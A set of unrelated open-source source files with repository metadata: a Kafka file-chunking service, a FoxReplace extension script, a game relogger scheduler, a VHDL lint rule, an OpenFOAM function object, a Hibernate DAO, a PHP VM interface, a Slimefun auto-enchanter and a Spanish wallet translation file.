List<KafkaStream<byte[], byte[]>> kafkaStreamList = consumerStreams
.get(TOPIC);
// for each loop to iterate kafkaStreamList
for (final KafkaStream<byte[], byte[]> kafkaStreams : kafkaStreamList) {
// Getting the kafka streams
ConsumerIterator<byte[], byte[]> consumerIterator = kafkaStreams
.iterator();
// Inserting destinationDirectory to transferMetaData
transferMetaData.put("destinationFile",
metadata.get("destinationDirectory") + "\\" + TOPIC);
// Declaration of parameter FileWriter
FileWriter destinationFileWriter;
// while loop to iterate consumerIterator
while (consumerIterator.hasNext()) {
try {
// Creating an object for FileWriter class
destinationFileWriter = new FileWriter(
new File(metadata.get("destinationDirectory")
+ "\\" + TOPIC),
true);
// Writing the kafka messages to destination file
destinationFileWriter.write(
new String(consumerIterator.next().message()));
// closing the destinationFileWriter
destinationFileWriter.close();
// Inserting subscribeCount to transferMetaData
transferMetaData.put("incrementConsumer",
Integer.toString(subscribeCount++));
// Updating the database
cassandraInteracter.updateTransferEventConsumeDetails(
session, transferMetaData);
// shutdown the consumerConnector
consumerConnector.shutdown();
System.out.println("done for : " + TOPIC);
break;
}
// catching the exception for Exception
catch (Exception e) {
System.out.println(e);
}
}
System.out.println("exited");
}
System.out.println("Cdone for : " + TOPIC);
// if loop to check the condition consumerConnector not equals to
// null
if (consumerConnector != null)
consumerConnector.shutdown();
}
// catching the exception for KafkaException
catch (KafkaException kafkaException) {
kafkaException.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for KafkaException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for KafkaStorageException
catch (KafkaStorageException kafkaStorageException) {
kafkaStorageException
.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for KafkaStorageException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for ZkException
catch (ZkException zkException) {
zkException.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for ZkException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for NoHostAvailableException
catch (NoHostAvailableException noHostAvailableException) {
noHostAvailableException
.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for NoHostAvailableException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
}
/**
* This method is used to split the files
*
* @param zkUtils
* @param zkClient
* @param sourceFile
* @param metadata
* @param transferMetaData
*/
public void getMessages(ZkClient zkClient, ZkUtils zkUtils,
String sourceFile, Map<String, String> metadata,
Map<String, String> transferMetaData) {
// Declaration of parameter delimiter
String delimiter = "\\\\";
// Creating an object for File class
File inputFile = new File(sourceFile);
// Declaration of parameter FileInputStream
FileInputStream inputStream;
// Declaration of parameter Key
String Key;
// Declaration of parameter sourceFileName and initialising it to null
String sourceFileName = null;
// Declaration of parameter sourceFileArray[] and splitting
// sourceFileDirectory using on delimiter
String sourceFileArray[] = sourceFile.split(delimiter);
// Declaration of parameter sourceFileArraySize and initialising it to
// sourceFileArray.length
int sourceFileArraySize = sourceFileArray.length;
sourceFileName = sourceFileArray[sourceFileArraySize - 1];
// Declaration of parameter sourceFileSize initialising it to
// inputFile.length
long sourceFileSize = inputFile.length();
System.out.println("filesize is" + sourceFileSize);
// Declaration of parameter nChunks
// Declaration of parameter read
// Declaration of parameter readLength
int nChunks = 0, read = 0;
Long readLength = Long.parseLong(
loadProperties.getOFTEProperties().getProperty("PART_SIZE"));
// Declaration of parameter byteChunkPart
byte[] byteChunkPart;
try {
// Creating an object for FileInputStream class
inputStream = new FileInputStream(inputFile);
// while loop to check the sourceFileSize> 0
while (sourceFileSize > 0) {
// if loop to check the inputStream.available() < readLength
if (inputStream.available() < readLength) {
System.out
.println(inputStream.available() + " in if block");
// Initialising the byte chunk part with inputStream
byteChunkPart = new byte[inputStream.available()];
// Initialising the read with inputStream bytes
read = inputStream.read(byteChunkPart, 0,
inputStream.available());
} else {
System.out.println(
inputStream.available() + " in else block");
// byteChunkPart = new byte[readLength];
// byteChunkPart = Longs.toByteArray(readLength);
byteChunkPart = new byte[readLength.intValue()];
read = inputStream.read(byteChunkPart, 0,
readLength.intValue());
}
// Deducting the sourceFileSize with read size
sourceFileSize -= read;
// Incrementing nChunks
nChunks++;
// Initialising key value
Key = sourceFileName + "." + (nChunks - 1);
System.out.println(sourceFileName);
// Publishing the data
publish(sourceFileName, Key, new String(byteChunkPart), zkUtils,
zkClient, metadata, transferMetaData);
System.out.println("completed for thread: " + sourceFileName);
}
// closing inputStream
inputStream.close();
System.out.println("closing Stream for " + inputFile);
// Initialising publishCount and subscribeCount with zero
publishCount = 0;
subscribeCount = 0;
// Creating an object for Acknowledgement class
// Acknowledgement acknowledgement=new Acknowledgement();
// acknowledgement.acknowledge(transferMetaData, metadata);
}
// catching the exception for FileNotFoundException
catch (FileNotFoundException fileNotFoundException) {
fileNotFoundException
.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for FileNotFoundException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for IOException
catch (IOException exception) {
exception.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for IOException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
}
} | MithunThadi/OFTE | SourceCode/new ofte with del monitor/com.ofte.services/FilesProcessorService.java | Java | gpl-3.0 | 20,407 |
/** ***** BEGIN LICENSE BLOCK *****
*
* Copyright (C) 2019 Marc Ruiz Altisent. All rights reserved.
*
* This file is part of FoxReplace.
*
* FoxReplace is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later version.
*
* FoxReplace is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
* A PARTICULAR PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with FoxReplace. If not, see <http://www.gnu.org/licenses/>.
*
* ***** END LICENSE BLOCK ***** */
function onLoad() {
document.removeEventListener("DOMContentLoaded", onLoad);
document.getElementById("form").addEventListener("submit", onSubmit);
}
function onUnload() {
document.removeEventListener("unload", onUnload);
document.getElementById("form").removeEventListener("submit", onSubmit);
}
function onSubmit(event) {
event.preventDefault(); // we just want to get the values, we don't want to submit anything
let serialized = $('#form').serializeArray();
let formValues = {};
for (let item of serialized) {
formValues[item.name] = item.value;
}
// Checkbox values are returned as 'on' when checked and missing (thus undefined) when unchecked. This works well when converted to Boolean.
let substitutionList = [new SubstitutionGroup("", [], [new Substitution(formValues.input, formValues.output, formValues.caseSensitive, formValues.inputType)],
formValues.html, true)];
browser.runtime.sendMessage({
key: "replace",
list: substitutionListToJSON(substitutionList)
});
}
document.addEventListener("DOMContentLoaded", onLoad);
document.addEventListener("unload", onUnload);
| Woundorf/foxreplace | sidebar/sidebar.js | JavaScript | gpl-3.0 | 1,985 |
/*****************************************************************************
* *
* MinionReloggerLib 0.x Beta -- https://github.com/Vipeax/MinionRelogger *
* Copyright (C) 2013, Robert van den Boorn *
* *
* This program is free software: you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation, either version 3 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program. If not, see <http://www.gnu.org/licenses/>. *
* *
******************************************************************************/
using System;
using System.IO;
using System.Windows.Forms;
using MinionReloggerLib.Core;
using MinionReloggerLib.Enums;
using MinionReloggerLib.Helpers.Language;
using MinionReloggerLib.Interfaces;
using MinionReloggerLib.Interfaces.Objects;
using MinionReloggerLib.Logging;
using MinionReloggerLib.Logging;
namespace AlternativeSchedulerComponent
{
public class AlternativeSchedulerComponent : IRelogComponent, IRelogComponentExtension
{
public IRelogComponent DoWork(Account account, ref ComponentResult result)
{
if (Check(account))
{
result = new ComponentResult
{
Result = EComponentResult.Halt,
LogMessage = "Halting due to alternative scheduler component settings for {0}.",
};
if (IsReady(account))
{
Update(account);
result = new ComponentResult
{
Result = EComponentResult.Kill,
LogMessage = "Stopping due to alternative scheduler component settings for {0}.",
};
}
}
else
{
result = new ComponentResult
{
Result = EComponentResult.Ignore,
};
}
return this;
}
public string GetName() { return "AlternativeSchedulerComponent"; }
public void OnEnable() { }
public void OnDisable() { }
public void OnLoad() { }
public void OnUnload() { }
public Form ShowSettingsForm(Account account = null) { return new Form(); }
public ESettingsType GetSettingType() { return ESettingsType.None; }
public bool Check(Account account)
{
if (!Directory.Exists(AppDomain.CurrentDomain.BaseDirectory + "Components\\AlternativeSchedulerSettings\\"))
{
Directory.CreateDirectory(AppDomain.CurrentDomain.BaseDirectory +
"Components\\AlternativeSchedulerSettings");
if (
!File.Exists(AppDomain.CurrentDomain.BaseDirectory +
"Components\\AlternativeSchedulerSettings\\settings.ini"))
{
IniFile create = new IniFile(AppDomain.CurrentDomain.BaseDirectory +
"Components\\AlternativeSchedulerSettings\\settings.ini");
create.IniWriteValue("demoaccount@somedomain.com", "Enabled", "false");
DateTime start = DateTime.Now;
DateTime end = DateTime.Now.AddHours(1);
create.IniWriteValue("demoaccount@somedomain.com", "StartTime", start.Hour + ":" + start.Minute);
create.IniWriteValue("demoaccount@somedomain.com", "EndTime", end.Hour + ":" + end.Minute);
}
}
IniFile ini =
new IniFile(AppDomain.CurrentDomain.BaseDirectory +
"Components\\AlternativeSchedulerSettings\\settings.ini");
string val = ini.IniReadValue(account.LoginName, "Enabled");
bool result = false;
if (val != string.Empty && bool.TryParse(val, out result))
{
if (result)
{
string startTime = ini.IniReadValue(account.LoginName, "StartTime");
if (startTime != string.Empty)
{
string endTime = ini.IniReadValue(account.LoginName, "EndTime");
if (endTime != string.Empty)
{
string[] splittedStart = startTime.Split(':');
string[] splittedEnd = endTime.Split(':');
if (splittedStart.Length == 2 && splittedEnd.Length == 2)
{
int hourStart = 0;
int minuteStart = 0;
int hourEnd = 0;
int minuteEnd = 0;
if (Int32.TryParse(splittedStart[0], out hourStart) &&
Int32.TryParse(splittedStart[1], out minuteStart))
{
DateTime start = DateTime.Now;
int difference = Math.Abs(start.Hour - hourStart);
if (start.Hour > hourStart)
{
difference = difference*-1;
start = start.AddHours(difference);
}
else
{
start = start.AddHours(difference);
}
difference = Math.Abs(start.Minute - minuteStart);
if (start.Minute > minuteStart)
{
difference = difference*-1;
start = start.AddMinutes(difference);
}
else
{
start = start.AddMinutes(difference);
}
if (Int32.TryParse(splittedEnd[0], out hourEnd) &&
Int32.TryParse(splittedEnd[1], out minuteEnd))
{
DateTime end = start;
end = end.AddHours(hourEnd - hourStart);
end = end.AddMinutes(minuteEnd - minuteStart);
double differenceFuture = (DateTime.Now - end).TotalSeconds;
double differencePast = (start - DateTime.Now).TotalSeconds;
return differenceFuture > 0 || differencePast > 0;
}
}
}
}
}
}
}
else
{
ini.IniWriteValue(account.LoginName, "Enabled", "false");
DateTime start = DateTime.Now;
DateTime end = DateTime.Now.AddHours(1);
ini.IniWriteValue(account.LoginName, "StartTime", start.Hour + ":" + start.Minute);
ini.IniWriteValue(account.LoginName, "EndTime", end.Hour + ":" + end.Minute);
}
return false;
}
public
bool IsReady(Account account) { return account.Running; }
public void Update(Account account) { account.Update(); }
public void PostWork(Account account) { }
}
}
| GabiHulea/MinionLauncherCustom | AlternativeSchedulerComponent/AlternativeSchedulerComponent.cs | C# | gpl-3.0 | 8,765 |
from vsg.rules import token_prefix
from vsg import token
lTokens = []
lTokens.append(token.signal_declaration.identifier)
class rule_008(token_prefix):
'''
This rule checks for valid prefixes on signal identifiers.
Default signal prefix is *s\_*.
|configuring_prefix_and_suffix_rules_link|
**Violation**
.. code-block:: vhdl
signal wr_en : std_logic;
signal rd_en : std_logic;
**Fix**
.. code-block:: vhdl
signal s_wr_en : std_logic;
signal s_rd_en : std_logic;
'''
def __init__(self):
token_prefix.__init__(self, 'signal', '008', lTokens)
self.prefixes = ['s_']
self.solution = 'Signal identifiers'
| jeremiah-c-leary/vhdl-style-guide | vsg/rules/signal/rule_008.py | Python | gpl-3.0 | 705 |
/*---------------------------------------------------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration | Website: https://openfoam.org
\\ / A nd | Copyright (C) 2019-2021 OpenFOAM Foundation
\\/ M anipulation |
-------------------------------------------------------------------------------
License
This file is part of OpenFOAM.
OpenFOAM is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
OpenFOAM is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License
along with OpenFOAM. If not, see <http://www.gnu.org/licenses/>.
\*---------------------------------------------------------------------------*/
#include "rigidBodyState.H"
#include "fvMeshMoversMotionSolver.H"
#include "motionSolver.H"
#include "unitConversion.H"
#include "addToRunTimeSelectionTable.H"
// * * * * * * * * * * * * * * Static Data Members * * * * * * * * * * * * * //
namespace Foam
{
namespace functionObjects
{
defineTypeNameAndDebug(rigidBodyState, 0);
addToRunTimeSelectionTable
(
functionObject,
rigidBodyState,
dictionary
);
}
}
// * * * * * * * * * * * * * * * * Constructors * * * * * * * * * * * * * * //
Foam::functionObjects::rigidBodyState::rigidBodyState
(
const word& name,
const Time& runTime,
const dictionary& dict
)
:
fvMeshFunctionObject(name, runTime, dict),
logFiles(obr_, name),
names_(motion().movingBodyNames())
{
read(dict);
}
// * * * * * * * * * * * * * * * * Destructor * * * * * * * * * * * * * * * //
Foam::functionObjects::rigidBodyState::~rigidBodyState()
{}
// * * * * * * * * * * * * * * * Member Functions * * * * * * * * * * * * * //
const Foam::RBD::rigidBodyMotion&
Foam::functionObjects::rigidBodyState::motion() const
{
const fvMeshMovers::motionSolver& mover =
refCast<const fvMeshMovers::motionSolver>(mesh_.mover());
return (refCast<const RBD::rigidBodyMotion>(mover.motion()));
}
bool Foam::functionObjects::rigidBodyState::read(const dictionary& dict)
{
fvMeshFunctionObject::read(dict);
angleFormat_ = dict.lookupOrDefault<word>("angleFormat", "radians");
resetNames(names_);
return true;
}
void Foam::functionObjects::rigidBodyState::writeFileHeader(const label i)
{
writeHeader(this->files()[i], "Motion State");
writeHeaderValue(this->files()[i], "Angle Units", angleFormat_);
writeCommented(this->files()[i], "Time");
this->files()[i]<< tab
<< "Centre of rotation" << tab
<< "Orientation" << tab
<< "Linear velocity" << tab
<< "Angular velocity" << endl;
}
bool Foam::functionObjects::rigidBodyState::execute()
{
return true;
}
bool Foam::functionObjects::rigidBodyState::write()
{
logFiles::write();
if (Pstream::master())
{
const RBD::rigidBodyMotion& motion = this->motion();
forAll(names_, i)
{
const label bodyID = motion.bodyID(names_[i]);
const spatialTransform CofR(motion.X0(bodyID));
const spatialVector vCofR(motion.v(bodyID, Zero));
vector rotationAngle
(
quaternion(CofR.E()).eulerAngles(quaternion::XYZ)
);
vector angularVelocity(vCofR.w());
if (angleFormat_ == "degrees")
{
rotationAngle.x() = radToDeg(rotationAngle.x());
rotationAngle.y() = radToDeg(rotationAngle.y());
rotationAngle.z() = radToDeg(rotationAngle.z());
angularVelocity.x() = radToDeg(angularVelocity.x());
angularVelocity.y() = radToDeg(angularVelocity.y());
angularVelocity.z() = radToDeg(angularVelocity.z());
}
writeTime(files()[i]);
files()[i]
<< tab
<< CofR.r() << tab
<< rotationAngle << tab
<< vCofR.l() << tab
<< angularVelocity << endl;
}
}
return true;
}
// ************************************************************************* //
| OpenFOAM/OpenFOAM-dev | src/rigidBodyState/rigidBodyState.C | C++ | gpl-3.0 | 4,621 |
//Copyright (c) 2011 Municipalidad de Rosario and Coop. de Trabajo Tecso Ltda.
//This file is part of SIAT. SIAT is licensed under the terms
//of the GNU General Public License, version 3.
//See terms in COPYING file or <http://www.gnu.org/licenses/gpl.txt>
package ar.gov.rosario.siat.def.buss.dao;
import org.hibernate.Query;
import org.hibernate.classic.Session;
import ar.gov.rosario.siat.base.buss.dao.GenericDAO;
import ar.gov.rosario.siat.base.buss.dao.SiatHibernateUtil;
import ar.gov.rosario.siat.def.buss.bean.ColEmiMat;
public class ColEmiMatDAO extends GenericDAO {
public ColEmiMatDAO() {
super(ColEmiMat.class);
}
/**
* Obtiene una columna de una matriz de emision
* por su codigo
*/
public ColEmiMat getByCodigo(String codColumna) throws Exception {
ColEmiMat colEmiMat;
String queryString = "from ColEmiMat t where t.codColumna = :codigo";
Session session = SiatHibernateUtil.currentSession();
Query query = session.createQuery(queryString).setString("codigo", codColumna);
colEmiMat = (ColEmiMat) query.uniqueResult();
return colEmiMat;
}
}
| avdata99/SIAT | siat-1.0-SOURCE/src/buss/src/ar/gov/rosario/siat/def/buss/dao/ColEmiMatDAO.java | Java | gpl-3.0 | 1,097 |
package com.hadroncfy.jphp.jzend;
import com.hadroncfy.jphp.jzend.types.typeInterfaces.Zval;
/**
* Created by cfy on 16-9-1.
*/
public interface VM {
void push(Zval val);
Zval pop();
Zval peek();
void echo(String s);
void exit(Zval ret);
void retour(Zval zval);
void doThrow(Zval zval);
void makeError(String msg);
void jump(int line);
void doBreak(int index);
void doContinue(int index);
Context getEnv();
void beginSilence();
void endSilence();
Zval load(int index);
void store(Zval val,int index);
}
| Hadron67/jphp | src/com/hadroncfy/jphp/jzend/VM.java | Java | gpl-3.0 | 571 |
package me.mrCookieSlime.Slimefun.Objects.SlimefunItem.machines;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import me.mrCookieSlime.CSCoreLibPlugin.general.Inventory.InvUtils;
import me.mrCookieSlime.CSCoreLibPlugin.general.Inventory.Item.CustomItem;
import me.mrCookieSlime.EmeraldEnchants.EmeraldEnchants;
import me.mrCookieSlime.EmeraldEnchants.ItemEnchantment;
import me.mrCookieSlime.Slimefun.Lists.RecipeType;
import me.mrCookieSlime.Slimefun.Objects.Category;
import me.mrCookieSlime.Slimefun.Objects.SlimefunItem.abstractItems.AContainer;
import me.mrCookieSlime.Slimefun.Objects.SlimefunItem.abstractItems.MachineHelper;
import me.mrCookieSlime.Slimefun.Objects.SlimefunItem.abstractItems.MachineRecipe;
import me.mrCookieSlime.Slimefun.api.BlockStorage;
import me.mrCookieSlime.Slimefun.api.Slimefun;
import me.mrCookieSlime.Slimefun.api.energy.ChargableBlock;
import org.bukkit.Material;
import org.bukkit.block.Block;
import org.bukkit.enchantments.Enchantment;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.EnchantmentStorageMeta;
import org.bukkit.inventory.meta.ItemMeta;
import org.bukkit.material.MaterialData;
public class AutoEnchanter extends AContainer {
public static int max_emerald_enchantments = 2;
public AutoEnchanter(Category category, ItemStack item, String name, RecipeType recipeType, ItemStack[] recipe) {
super(category, item, name, recipeType, recipe);
}
@Override
public String getInventoryTitle() {
return "&5Auto-Enchanter";
}
@Override
public ItemStack getProgressBar() {
return new ItemStack(Material.GOLD_CHESTPLATE);
}
@Override
public void registerDefaultRecipes() {}
@Override
public int getEnergyConsumption() {
return 9;
}
@SuppressWarnings("deprecation")
@Override
protected void tick(Block b) {
if (isProcessing(b)) {
int timeleft = progress.get(b);
if (timeleft > 0) {
ItemStack item = getProgressBar().clone();
item.setDurability(MachineHelper.getDurability(item, timeleft, processing.get(b).getTicks()));
ItemMeta im = item.getItemMeta();
im.setDisplayName(" ");
List<String> lore = new ArrayList<String>();
lore.add(MachineHelper.getProgress(timeleft, processing.get(b).getTicks()));
lore.add("");
lore.add(MachineHelper.getTimeLeft(timeleft / 2));
im.setLore(lore);
item.setItemMeta(im);
BlockStorage.getInventory(b).replaceExistingItem(22, item);
if (ChargableBlock.isChargable(b)) {
if (ChargableBlock.getCharge(b) < getEnergyConsumption()) return;
ChargableBlock.addCharge(b, -getEnergyConsumption());
progress.put(b, timeleft - 1);
}
else progress.put(b, timeleft - 1);
}
else {
BlockStorage.getInventory(b).replaceExistingItem(22, new CustomItem(new MaterialData(Material.STAINED_GLASS_PANE, (byte) 15), " "));
pushItems(b, processing.get(b).getOutput());
progress.remove(b);
processing.remove(b);
}
}
else {
MachineRecipe r = null;
slots:
for (int slot: getInputSlots()) {
ItemStack target = BlockStorage.getInventory(b).getItemInSlot(slot == getInputSlots()[0] ? getInputSlots()[1]: getInputSlots()[0]);
ItemStack item = BlockStorage.getInventory(b).getItemInSlot(slot);
if (item != null && item.getType() == Material.ENCHANTED_BOOK && target != null) {
Map<Enchantment, Integer> enchantments = new HashMap<Enchantment, Integer>();
Set<ItemEnchantment> enchantments2 = new HashSet<ItemEnchantment>();
int amount = 0;
int special_amount = 0;
EnchantmentStorageMeta meta = (EnchantmentStorageMeta) item.getItemMeta();
for (Map.Entry<Enchantment, Integer> e: meta.getStoredEnchants().entrySet()) {
if (e.getKey().canEnchantItem(target)) {
amount++;
enchantments.put(e.getKey(), e.getValue());
}
}
if (Slimefun.isEmeraldEnchantsInstalled()) {
for (ItemEnchantment enchantment: EmeraldEnchants.getInstance().getRegistry().getEnchantments(item)) {
if (EmeraldEnchants.getInstance().getRegistry().isApplicable(target, enchantment.getEnchantment()) && EmeraldEnchants.getInstance().getRegistry().getEnchantmentLevel(target, enchantment.getEnchantment().getName()) < enchantment.getLevel()) {
amount++;
special_amount++;
enchantments2.add(enchantment);
}
}
special_amount+=EmeraldEnchants.getInstance().getRegistry().getEnchantments(target).size();
}
if (amount > 0 && special_amount <= max_emerald_enchantments) {
ItemStack newItem = target.clone();
for (Map.Entry<Enchantment, Integer> e: enchantments.entrySet()) {
newItem.addUnsafeEnchantment(e.getKey(), e.getValue());
}
for (ItemEnchantment e: enchantments2) {
EmeraldEnchants.getInstance().getRegistry().applyEnchantment(newItem, e.getEnchantment(), e.getLevel());
}
r = new MachineRecipe(75 * amount, new ItemStack[] {target, item}, new ItemStack[] {newItem, new ItemStack(Material.BOOK)});
}
break slots;
}
}
if (r != null) {
if (!fits(b, r.getOutput())) return;
for (int slot: getInputSlots()) {
BlockStorage.getInventory(b).replaceExistingItem(slot, InvUtils.decreaseItem(BlockStorage.getInventory(b).getItemInSlot(slot), 1));
}
processing.put(b, r);
progress.put(b, r.getTicks());
}
}
}
@Override
public int getSpeed() {
return 1;
}
@Override
public String getMachineIdentifier() {
return "AUTO_ENCHANTER";
}
}
| Joapple/Slimefun4 | src/me/mrCookieSlime/Slimefun/Objects/SlimefunItem/machines/AutoEnchanter.java | Java | gpl-3.0 | 5,591 |
<?xml version="1.0" ?><!DOCTYPE TS><TS language="es_DO" version="2.1">
<context>
<name>AboutDialog</name>
<message>
<location filename="../forms/aboutdialog.ui" line="+14"/>
<source>About hackcoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+39"/>
<source><b>hackcoin</b> version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+41"/>
<source>Copyright © 2009-2014 The Bitcoin Developers
Copyright © 2012-2014 The NovaCoin developers
Copyright © 2014 The hackcoin developers</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>
This is experimental software.
Distributed under the MIT/X11 software license, see the accompanying file COPYING or http://www.opensource.org/licenses/mit-license.php.
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/) and cryptographic software written by Eric Young (eay@cryptsoft.com) and UPnP software written by Thomas Bernard.</source>
<translation>
Este es un software experimental.
Distribuido bajo la licencia MIT/X11, vea el archivo adjunto
COPYING o http://www.opensource.org/licenses/mit-license.php.
Este producto incluye software desarrollado por OpenSSL Project para su uso en
el OpenSSL Toolkit (http://www.openssl.org/) y software criptográfico escrito por
Eric Young (eay@cryptsoft.com) y el software UPnP escrito por Thomas Bernard.</translation>
</message>
</context>
<context>
<name>AddressBookPage</name>
<message>
<location filename="../forms/addressbookpage.ui" line="+14"/>
<source>Address Book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+22"/>
<source>Double-click to edit address or label</source>
<translation>Haga doble clic para editar una dirección o etiqueta</translation>
</message>
<message>
<location line="+27"/>
<source>Create a new address</source>
<translation>Crear una nueva dirección</translation>
</message>
<message>
<location line="+14"/>
<source>Copy the currently selected address to the system clipboard</source>
<translation>Copiar la dirección seleccionada al portapapeles del sistema</translation>
</message>
<message>
<location line="-11"/>
<source>&New Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-46"/>
<source>These are your hackcoin addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+60"/>
<source>&Copy Address</source>
<translation>&Copiar dirección</translation>
</message>
<message>
<location line="+11"/>
<source>Show &QR Code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Sign a message to prove you own a hackcoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Sign &Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Delete the currently selected address from the list</source>
<translation>Borrar de la lista la dirección seleccionada</translation>
</message>
<message>
<location line="-14"/>
<source>Verify a message to ensure it was signed with a specified hackcoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Verify Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+14"/>
<source>&Delete</source>
<translation>&Eliminar</translation>
</message>
<message>
<location filename="../addressbookpage.cpp" line="+65"/>
<source>Copy &Label</source>
<translation>Copiar &etiqueta</translation>
</message>
<message>
<location line="+2"/>
<source>&Edit</source>
<translation>&Editar</translation>
</message>
<message>
<location line="+250"/>
<source>Export Address Book Data</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation>Archivos de columnas separadas por coma (*.csv)</translation>
</message>
<message>
<location line="+13"/>
<source>Error exporting</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AddressTableModel</name>
<message>
<location filename="../addresstablemodel.cpp" line="+144"/>
<source>Label</source>
<translation>Etiqueta</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Dirección</translation>
</message>
<message>
<location line="+36"/>
<source>(no label)</source>
<translation>(sin etiqueta)</translation>
</message>
</context>
<context>
<name>AskPassphraseDialog</name>
<message>
<location filename="../forms/askpassphrasedialog.ui" line="+26"/>
<source>Passphrase Dialog</source>
<translation>Diálogo de contraseña</translation>
</message>
<message>
<location line="+21"/>
<source>Enter passphrase</source>
<translation>Introducir contraseña</translation>
</message>
<message>
<location line="+14"/>
<source>New passphrase</source>
<translation>Nueva contraseña</translation>
</message>
<message>
<location line="+14"/>
<source>Repeat new passphrase</source>
<translation>Repita la nueva contraseña</translation>
</message>
<message>
<location line="+33"/>
<source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>For staking only</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../askpassphrasedialog.cpp" line="+35"/>
<source>Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>10 or more random characters</b>, or <b>eight or more words</b>.</source>
<translation>Introduzca la nueva contraseña de la cartera.<br/>Por favor elija una con <b>10 o más caracteres aleatorios</b>, u <b>ocho o más palabras</b>.</translation>
</message>
<message>
<location line="+1"/>
<source>Encrypt wallet</source>
<translation>Cifrar la cartera</translation>
</message>
<message>
<location line="+7"/>
<source>This operation needs your wallet passphrase to unlock the wallet.</source>
<translation>Esta operación requiere su contraseña para desbloquear la cartera</translation>
</message>
<message>
<location line="+5"/>
<source>Unlock wallet</source>
<translation>Desbloquear cartera</translation>
</message>
<message>
<location line="+3"/>
<source>This operation needs your wallet passphrase to decrypt the wallet.</source>
<translation>Esta operación requiere su contraseña para descifrar la cartera.</translation>
</message>
<message>
<location line="+5"/>
<source>Decrypt wallet</source>
<translation>Descifrar la certare</translation>
</message>
<message>
<location line="+3"/>
<source>Change passphrase</source>
<translation>Cambiar contraseña</translation>
</message>
<message>
<location line="+1"/>
<source>Enter the old and new passphrase to the wallet.</source>
<translation>Introduzca la contraseña anterior de la cartera y la nueva. </translation>
</message>
<message>
<location line="+46"/>
<source>Confirm wallet encryption</source>
<translation>Confirmar cifrado de la cartera</translation>
</message>
<message>
<location line="+1"/>
<source>Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR COINS</b>!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Are you sure you wish to encrypt your wallet?</source>
<translation>¿Seguro que desea cifrar su monedero?</translation>
</message>
<message>
<location line="+15"/>
<source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source>
<translation>IMPORTANTE: Cualquier copia de seguridad que haya realizado previamente de su archivo de monedero debe reemplazarse con el nuevo archivo de monedero cifrado. Por razones de seguridad, las copias de seguridad previas del archivo de monedero no cifradas serán inservibles en cuanto comience a usar el nuevo monedero cifrado.</translation>
</message>
<message>
<location line="+103"/>
<location line="+24"/>
<source>Warning: The Caps Lock key is on!</source>
<translation>Aviso: ¡La tecla de bloqueo de mayúsculas está activada!</translation>
</message>
<message>
<location line="-133"/>
<location line="+60"/>
<source>Wallet encrypted</source>
